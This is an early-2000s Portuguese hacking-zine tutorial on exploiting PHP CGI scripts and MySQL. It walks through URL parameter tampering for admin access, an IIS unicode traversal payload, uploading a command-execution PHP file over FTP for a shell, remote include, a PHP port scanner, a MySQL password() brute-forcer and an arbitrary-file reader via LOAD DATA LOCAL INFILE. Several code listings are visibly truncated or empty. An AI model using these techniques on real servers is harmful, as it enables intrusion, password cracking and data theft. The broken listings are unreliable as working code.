/==============================================================================/ /======================== Int0x80 && EoH =====================================/ /============================================================================/ http://int0x80.host.sk http://eoh-team.tk http://unsekurity.virtualave.net Por Jerry Slater -- rx@coredumped.tk http://jerryslater.host.sk -> Por favor elitos, crackers, script kiddies, defacers e coisas do genero nao percam seu precioso tempo lendo esse txt. -> O autor nao se responsabiliza pelo mau uso das informacoes contidas aqui. /////////////////////////////////////\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ /////////////////////////////// CGI PROBLEMS \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ /////////////////////////////////////\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ Eh com grande satisfacao q vemos como o hacking cresceu aqui no Brasil e a conscientizacao de muitos defacers e script kiddies. O Unsek Scene tem papel fundamental nessa mudanca, pois desde seu inicio lutou a favor do hacking etico e divulgando o verdadeiro sentido do termo hacking. Sabemos a batalha ainda esta comecando e q depois do dia 11/09/2001 o cenario mudou quase q radicalmente, mas jamais devemos fraquejar temos q ter na mente q estamos lutando por algo verdadeiro. Apos os acontecimentos do dia 11 percebemos quem realmente lutava estava lutando pelo hacking, muitos mostraram sua verdadeira face. Basta a coisa apertar para q a verdade transpareca. "Uma grande jornada se inicia com um unico passo!" Olhando para o passado, vemos q o Unsek Scene ja deu varios passos e olhando para o futuro vemos tambem q a caminhada eh longo, mas recompesadora. ========================================================================= Indice: 1 - Futuro da Programacao 2 - Introducao ao CGI 2.1 - PHP 2.1.1 - Passagem de variaveis; 2.1.2 - Abertura de arquivos; 2.1.3 - Execucao de comandos; 2.1.4 - Problemas com include() e require(); 2.1.5 - Sockets em PHP; 2.1.6 - Quadro Atual; 3 - MySql + CGI 3.1 - MySql + PHP; 4 - Links e Referenciais 5 - Consideracoes Finais ========================================================================= =========================== 1 - Futuro da Programacao =========================== Com o crescimento tecnologico muitas ramos estam migrando para o comercio eletronico e junto com isso centenas de programadores que nao dao a minima importancia para o fator seguranca. Eh de conhecimento de todos que um codigo fonte mal elaborado pode vir a trazer inumeros maleficios para quem o usa, desde um simples travamento do sistema ateh uma possibilidade de acesso a dados restritos. Nesse txt eu tento abordar alguns furos que muitos programadores deixam em seus codigos, parece q eles fazem questao de deixar! Esse txt nao foi ecrito com o intuito de ensinar a programar em linguagem alguma, se tiver vontade de se aprofundar nessa linguagem a secao de links podera ajuda-lo. ======================= 2 - Introducao ao CGI ======================= Eh espantoso como a internet vem se desenvolvendo no decorrer dos anos e com isso muitas linguagens vem sendo criadas para web (PHP, Perl, ASP, Java etc...) e junto com isso as aplicacoes para web (CGI) vem aumentando gradativamente tambem. Hoje em dia provedores, ou qualquer empresa q possua site tem programadores que cuidam da parte de CGI, mas junto com o crescimento das aplicacoes alguns programadores esqueceram um pouco a questao da seguranca. O CGI dispoem ao usuario mais recursos facilitando sua vida..:) um exemplo seria a uma transferencia bancaria. Quem passaria hoje 1 hora na fila de um banco para fazer tal transferendo podendo esta ser feita em 10 minutos via web?? Um exemplo basico de CGI segue: ++++++++++++++++++++++++++ cgi.htm ++++++++++++++++++++++++++++++++++++++++++ CGI

Simples CGI



Nome:
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Abra com qualquer browser ++++++++++++++++++++++++++ cgi-final.php ++++++++++++++++++++++++++++++++++++ Bem-vindo $user"; ?> ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Para que o CGI funcione normalmente eh necessario q vc tenha em seu sistema um web server instalado, indico o apache..:) e coloque os arquivos dentro do diretorio apontado pelo DocumentRoot, por default eh o htdocs. Podemos ver no CGI acima q atraves do formulario a variavel user foi passada ao cgi-final.php, entao... eh mais ou menos assim que o cgi funciona. =========== 2.1 - PHP =========== Uma das liguagens que mais crescem atualmente devido a sua facilidade de aprendizado. Mas, talvez, devido a essa facilidade muitos "programadores" estao partindo para o PHP e junto com isso os inumeros problemas de seguranca. Veja bem, eu nao estou generalizando pois conheco muitos programadores que realmente se importam com o fator seguranca..:) ============================== 2.1.1 - Passagem de variaveis ============================== Como vimos nos exemplos acima variaveis podem ser passadas aos CGI's em PHP via formularios ou via browser. Como ja falei, alguns programadores tem deixado a questao seguranca em segundo plano. Exemplo de codigo bugado: ++++++++++++++++++++++++ form.html +++++++++++++++++++++++++++++++++++++++++++ CGI

Autenticao



User:
Senha:

++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ ++++++++++++++++++++++++++ checa.php +++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Podemos notar q a variavel $nivel foi setada de acordo com o login do usuario e que o resto do codigo se baseia no $nivel. Possuindo uma conta como usuario normal podemos facilmente, via url, passar por esse tipo de atribuicao. Note a url abaixo. http://localhost/checa.php?user=Jerry+Slater&senha=12345&nivel=0 Temos aqui o usuario Jerry Slater, que esta cadastrado no sistema, que acaba de ganhar o mesmo nivel de acesso do administrador simplesmente passando a variavel $nivel via url. E evidente q um erro de programacao desse pode ser facilmente corrigido, mas pq alguns programadores continuam a fazer coisas desse tipo??? As vezes algumas pessoas acham q a leitura de arquivos eh irrelevante na questao de seguranca, mas note q vc podendo ler o codigo fonte vc pode cacar furos de programcao para, no minimo, aumentar seu nivel de privilegio. ============================= 2.1.2 - Abertura de arquivos ============================= Em PHP as principais funcoes utilizadas para abertura e fechamento de arquivos sao fopen() e fclose() respectivamente. Um exemplo tipico de abertura de um arquivo seria: +++++++++++++++++++++++++ olha.php +++++++++++++++++++++++++++++++++++++++++++ "; print "$lendo"; } fclose($abre); ?> +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Podemos notar q o programa acima abre o /etc/passwd e mostra-o no browser. Imagine num CGI o usuario podendo informar qual arquivo ele gostria de ler no sistema. Oq o impede de user setar a variavel $arquivo para: $arquivo="http://unsekurity.virtualave.net/txts/beige.txt"; Automaticamente ira haver uma conexao com o host e o arquivo sera exibido normalmente. Se abrir um arquivo locatozado em outro server, oq nos proibe de exploitarmos um ISS bugado com o unicode??? Nada nos proibe. $arquivo="http://localhost/scripts/..%c0%af../winnt/system32/cmd.exe?/dir+c:" Entao nessa situacao estamos usando um bounce para poder explorar nosso alvo, pois ha um host entre nos e nosso alvo e esse host esta sendo utilizado para execucao do nosso objetivo. ============================= 2.1.3 - Execucao de Comandos ============================= As principais funcoes responsaveis pela exeucao de comandos do sistema em PHP sao as funcoes passthru() e exec(). Muitos servidores de ftp q permitiam o acesso anonymous com permissoes de escrita e com web server com suporte a PHP enxergando os diretorios sofreram nas maos de script kiddies. Uma das coisas q me chama a atencao eh uma pessoa q praticamente nao sabe nem usar o gcc com outro parametro a nao ser o -o quer ser chamada de hacker. Eu sei q ninguem nasce sabendo, mas porq esse tipo de gente soh pensa em ter seu nick numa pagina e ganhar fama fazendo com q outros achem q ele(a) eh o tal. Usar exploits de terceiros eh normal quando vc quer ter acesso a um sistema exotico o qual vc nao tem condicoes de adquiri-lo como um digital unix. Voltando ao assunto, tendo acesso a um server rodando web+PHP e ftp facilmente vc conseguira executar comandos arbitrarios. Vamos lah... Primeiro criaremos um arquivo .php q executara nosso comando. +++++++++++++++++++++++++ executa.php +++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Para melhorar nosso esquema, poderiamos criar um formulario que passasse ao executa.php uma variavel com um comando aleatorio. Alguns servidores desabilitam o uso da funcao passthru(), mas existem outras funcoes q vc usar para execucao de comandos q eles esquecem de bloquear. Em seguida colocamos nosso arquivo no host alvo. [jslater]:~$ftp host.alvo 220 host.alvo FTP server (Version wu-2.6.0(1) Fri Oct 22 00:38:20 CDT 1999) ready. Name (host.alvo:jslater):slater 331 Password required for slater. Password:1234 230 User fork logged in. Remote system type is UNIX. Using binary mode to transfer files. ftp>pwd 257 "/home/apache/htdocs/all/slater" is current directory. ftp>put (local-file)executa.php (remote-file)executa.php local: executa.php remote: executa.php 200 PORT command successful. 150 Opening BINARY mode data connection for teste.php. 226 Transfer complete. ftp>quit 221-You have transferred 0 bytes in 1 files. 221-Total traffic for this session was 427 bytes in 1 transfers. 221-Thank you for using the FTP service on darkstar.example.net. 221 Goodbye. Agora basta usarmos um browser qualquer para execucao do comando. [jslater]:~$lynx http://host.alvo/all/fork/executa.php Entao temos como resultado: bin boot cdrom dev etc home lib lost+found mnt opt proc root sbin shlib tmp usr var vmlinuz Entao caro amigo, podemos agora executar comandos no server nao como usuario fork, mas sim como..:) uid=99(nobody) gid=98(nobody) groups=98(nobody) Com esse esquema vc pode ter acesso shell a muitos servers por ai, use-os sempre para aprender, nunca para se promover! ============================================ 2.1.4 - Problemas com include() e require() ============================================ Uma das funcoes bastante utilizadas no PHP eh a funcao include() e a funcao require(). Esta tem o objetivo de incluir algo dentro do seu codigo PHP, por exemplo. +++++++++++++++++++++++++ teste_inc.php ++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Isso mostrara todo conteudo do arquivo /etc/host no seu browser. Quando essas funcoes sao usadas, o PHP usa uma variavel ambiente chamada $LD_LIBRARY_PATH para procurar o arquivo especificado, essa variavel eh o PATH do PHP..:) Como o PHP nao tem controle sobre as variaveis ambientes nos poderiamos fazer com q o include aponde para um codigo elaborado por nos. Atente para o esquema abaixo: +++++++++++++++++++++++++ inc_vuln.php ++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Podemos observar que ao usarmos include() o PHP colocara o arquivo docs.php no nosso cgi. O path para docs.php esta definido pela variavel $finddir. Poderiamos via url setar a varialvel $finddir para apontar para um arquivo docs.php criado por nos. http://www.host.alvo/inc_vuln.php?finddir=/home/ftp/all/jerryslater Lah criariamos um docs.php contendo oq nos quisessemos..:) Outro problema referente ao uso de include() ou require() esta no path utilizado automaticamente pelo PHP. No exemplo acimo nos usamos um include() junto com um path definido pela variavel $finddir, mas no includes usados dessa forma include ("docs.php") o q podemos fazer? O PHP extrai o seu path de uma variavel ambiente chamada LD_LIBRARY_PATH. Por default essa variavel ambiente vem em safe mode no php.ini: safe_mode_protected_env_vars = LD_LIBRARY_PATH; Entao, ela esta impossibilitada de ser setada via url ou pela funcao putenv(). Mas em alguns hosts eu encontrei-a desprotegida..:) ======================= 2.1.5 - Sockets em PHP ======================= O PHP tb suporta o uso de sockets, mas para isso eh necessario q na hora da compilacao o suporte a sockets seja habilitado. A maioria dos sistemas hoje ja compila o PHP com essa opcao para q possam utilizar mais recursos como chats, etc. Abaixo segue um esquema simples de sockets. +++++++++++++++++++++++++++++++ sock.php ++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Aqui nesse exemplo vemos que o usuario se conecta no host alvo na porta 21. Com sockets nos podemos explorar algumas coisinhas no host alvo. No texto sobre Web Bouncing feito por Nash Leon ele descreve um esquema de se executar um scanner a partir de um servidor web. Abaixo segue outro codigo de um scanner em PHP. +++++++++++++++++++++++++++++++ scann.php ++++++++++++++++++++++++++++++++++++++ Int0x80 && EoH"; print "

Scan for Bounce

"; print "

Desenvolvido por Jerry Slater

"; print "

Thanks Unsekurity Scene

"; print "

http://int0x80.host.sk

"; print "

http://eoh-team.tk

"; print "

http://unsekurity.virtualave.net

"; $porta_inicial = 0; $porta_final = 10000; $host = gethostbyname('localhost'); error_reporting (0); while ($porta_inicial < $porta_final) { if (($sock=socket_create(AF_INET, SOCK_STREAM, 0)) < 0) { print "Erro na conexao!"; exit (); } $conexao = socket_connect($sock, $host, $porta_inicial); if ($conexao == 1) { $servico = getservbyport($porta_inicial, "tcp"); if ($servico != NULL) { print "Porta $porta_inicial -- $servico aberta!
"; } else { print "Porta $porta_inicial -- Unknow aberta!
"; } } socket_close($sock); $porta_inicial++; } ?> +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Com isso vc podera utilizar "pontes" para fazer o scanneamento..:) O PHP jah possui muitos funcoes para o uso de sockets (socket_bind, socket_listen, socket_accept, etc), com isso vc pode criar diversos esquemas para conseguir algo proveito. Outro esquema que pode ser usado com sockets em PHP eh a realizacao de um Brutal Force. ===================== 2.1.6 - Quadro Atual ===================== Atualmente ficou notorio as muitas vulnerabilidades encontradas no proprio PHP, nada relacionado a CGI's. Sabemos que PHP foi construido sobre C e com isso, problemas relacionados a buffer overflow nao poderiam ficar de fora. Alem de problemas relacionados aos cgi's, tecnicas como input validation podem ser utilizadas para hacking de web. A pouco tempo a macromedia lancou um soft para otimizar o desenvolvimento de sites dinamicos. Particularmente ainda nao tive oportunidade de ler um codigo desenvolvido por ele, mas vale a pena dar uma olhadinha..:) Nesse txt nao abordarei o tao conhecido PHP-nuke...:) As vulnerabilidades vem atormentando muitas redes, diga uma rede famosa de irc...:) ================== 3.0 - MySQL + CGI ================== Hoje acho q nao existe nenhum ramo aonde nao possua um banco de dados, pois esse facilita bastante a nossa vida...:) imagina ai depender sempre da nossa memoria..:) A cada dia a interacao banco de dados e web vem aumentando e junto com essa interacao alguns furinhos vem aumentando tb..:) Soh abordarei aqui nesse txt a parte de MySQL relacionada a PHP, futuramente eu passarei mais esquemas com outros bancos de dados. ================== 3.1 - MySQL + PHP ================== Como jah foi dito na secao 2.1 o PHP a cada dia cresce e como nao poderia deixar de ser diferente o leque de possibilidades de uso do PHP vem aumentando tb. Algumas funcoes basicas para que se possa trabalhar com MySQL e PHP sao: mysql_connect --> conexao com o banco de dados mysql_query --> envia uma determinada query ao banco de dados mysql_result --> pega a resposta de uma determinada query existem muitas outras... mas por enquanto vamos ficar por aqui. Nao irei expor o quao eh perigoso a possibilidade de leitura de arquivos em um sistema, alguns julgam sem importancia, mas sera q eh assim???? Prestemos atencao no codigo abaixo: +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Podemos ver q pegamos a o login e a senha para conexao com o banco de dados, com isso poderiamos criar um simples PHP para executarmos comando lah na base de dados. Primeiro vamos dar uma olhada nas tableas existentes. +++++++++++++++++++++++++++ checatabela.php +++++++++++++++++++++++++++++++++++ "; } ?> +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Resultado: cadastro estoque fornecedores Vamos dar uma olhadinha na tabela cadastro..:) +++++++++++++++++++++++++++ nosso.php +++++++++++++++++++++++++++++++++++++++++ "; } ?> +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Com isso teriamos facilemente o conteudo da tabela cadastro Carlos carlosedf Marcos m4hf866 Claudia 458opiu ....... Isso eh bastante provavel q sejam logins e senhas..:) Para termos certeza basta usarmos uma query com describe ("DESCRIBE cadastro"). Mas, para nossa felicidade, exitem programadores preoculpados com q questao seguranca e alguns usam funcoes do proprio MySQL para encriptar os dados ali contidos, uma funcao "bastante" utilizada eh a password(). 72c5426a09550d99 22c438c01e897606 7a3187a3411729bc 77c3c443286d8382 096b150938c5d8e8 02e0398c10f555b3 Com isso, nosso trabalho de fucador poderia tornar-se mais compicado. Abaixo segue um brutal force para essa funcao, repito, o brutal force eh focalizado apenas nessa funcao password(). +++++++++++++++++++++++++++++ brutalpass.php ++++++++++++++++++++++++++++++++++ Int0x80 && EoH"; print "

Simples Brutal Force para ftp

"; print "

Desenvolvido por Jerry Slater

"; print "

Thanks Unsekurity Scene

"; print "

http://int0x80.host.sk

"; print "

http://eoh-team.tk

"; print "

http://unsekurity.virtualave.net

"; $host = "127.0.0.1"; // IP do Servidor $user = "user"; // Login $senha = "senha"; // Senha $dbname = "cadastro"; // Nome do DB $passwdlist = "passwd.lst"; // Nome da password list $conecta = mysql_connect (localhost, "root"); mysql_select_db($dbname); $comando = "SELECT * FROM cadastro"; $env_com = mysql_query($comando); $linhas = mysql_num_rows($env_com); $arquivo = fopen ("passwdord.lst", "r"); while (!feof($arquivo)) { $caracter = fgets($arquivo, 50); $login = trim($caracter); $cmd = "SELECT (PASSWORD(\"$login\"))"; $env_query = mysql_query($cmd); $login_encrp = mysql_result($env_query, 0, 0); for ($i=0; $i < $linhas; $i++) { $login_db = mysql_result($env_com, $i, 0); if (!strcmp($login_encrp, $login_db)) { print "Login: $caracter "; $arquivo2 = fopen ("passwdord.lst", "r"); while (!feof($arquivo2)) { $caracter2 = fgets($arquivo2, 50); $passwd = trim($caracter2); $cmd2 = "SELECT (PASSWORD(\"$passwd\"))"; $env_query2 = mysql_query($cmd2); $passwd_encrp = mysql_result($env_query2, 0, 0); for ($j=0; $j < $linhas; $j++) { $passwd_db = mysql_result($env_com, $i, 1); if (($page=strcmp($passwd_encrp, $passwd_db)) == 0) { print "Password: $caracter2
"; break; } } if ($page == 0) break; } } } } mysql_close($conecta); ?> +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Com acesso ftp podemos explorar de muitas maneiras um servidor. Na page do Unsekurity Scene existe um txt feito pelo Nash Leon sobre o truque do PHP + FTP = SHELL. Alem disso, podemos criar cgi's que junto com mysql podemos ler quase todos os arquivos de um host. ++++++++++++++++++++++++++++ readfile.php ++++++++++++++++++++++++++++++++++++++ Int0x80 && EoH"; print "

Read File

"; print "

Desenvolvido por Jerry Slater

"; print "

Thanks Unsekurity Scene

"; print "

http://int0x80.host.sk

"; print "

http://eoh-team.tk

"; print "

http://unsekurity.virtualave.net

"; $host = "127.0.0.1"; // IP do Servidor $user = "user"; // Login $senha = "senha"; // Senha $dbname = "cadastro"; // Nome do DB $conecta = mysql_connect (localhost, "root"); mysql_select_db($dbname); $comando = "CREATE TABLE file (arq blob)"; $query = mysql_query($comando); if ($arquiv == NULL) { print "Quem eh voce????"; exit(); } else { $comando2 = "LOAD DATA LOCAL INFILE \"$arquiv\" INTO TABLE file"; $query = mysql_query($comando2); } $cmd = "SELECT * FROM file"; $query = mysql_query($cmd); $linhas = mysql_num_rows($query); for ($i=0; $i < $linhas; $i++) { $result = mysql_result($query, $i, 0); print "$result
"; } ?> +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ No esquema acima, eh soh passar o valor da variavel arquiv via url que o arquivo sera carregado dentro do banco de dados. Outra tecnica q pode ser usada eh a tecnica de Input Validation que consiste em forcar uma entrada diferente no alvo, mas isso fica para um proximo txt. Futuramente o Int0x80 junto com o EoH ira disponibilizar mais material abordando problemas com cgi em outras linguagens. Tenha em mente tambem que alguns fatores abordados aqui sao expansiveis a outras linguagens. ======================== 4 - Links e Referencias ======================== A Study In Scarlet - Exploiting Common Vulnerabilities in PHP Applications http://www.kimera.com.br http://unsekurity.virtualave.net http://int0x80.host.sk http://eoh-team.tk http://packetstorm.decepticons.org http://www.securityfocus.com http://www.linuxsecurity.com.br ========================= 5 - Consideracoes Finais ========================= Bem pessoal... devemos sempre ter em mente a etica antes tomar qualquer atitude ou decisao em nossas vidas, nao falo isso somente em relacao ao hacking, mas em relacao a tudo. Outro ponto que merece atencao eh o "nivel" dos programadores q estao entrando no mercado, quase a maioria nao ligam nada para o fator seguranca e com isso o usuario final acaba sendo prejudicado. Fico feliz em poder contribuir para a liberdade de informacao, embora ainda exista muito egoismo tanto na informatica como no mundo. Agradeco aqui aos meus verdadeiros amigos, nao vou citar nicks pois eles sabem quem sao. Agradeco tb o Unsek Scene, ao int0x80 e ao EoH por terem me fornecido esse espaco...:) ========================================================================= . Jerry Slater - rx@coredumped.tk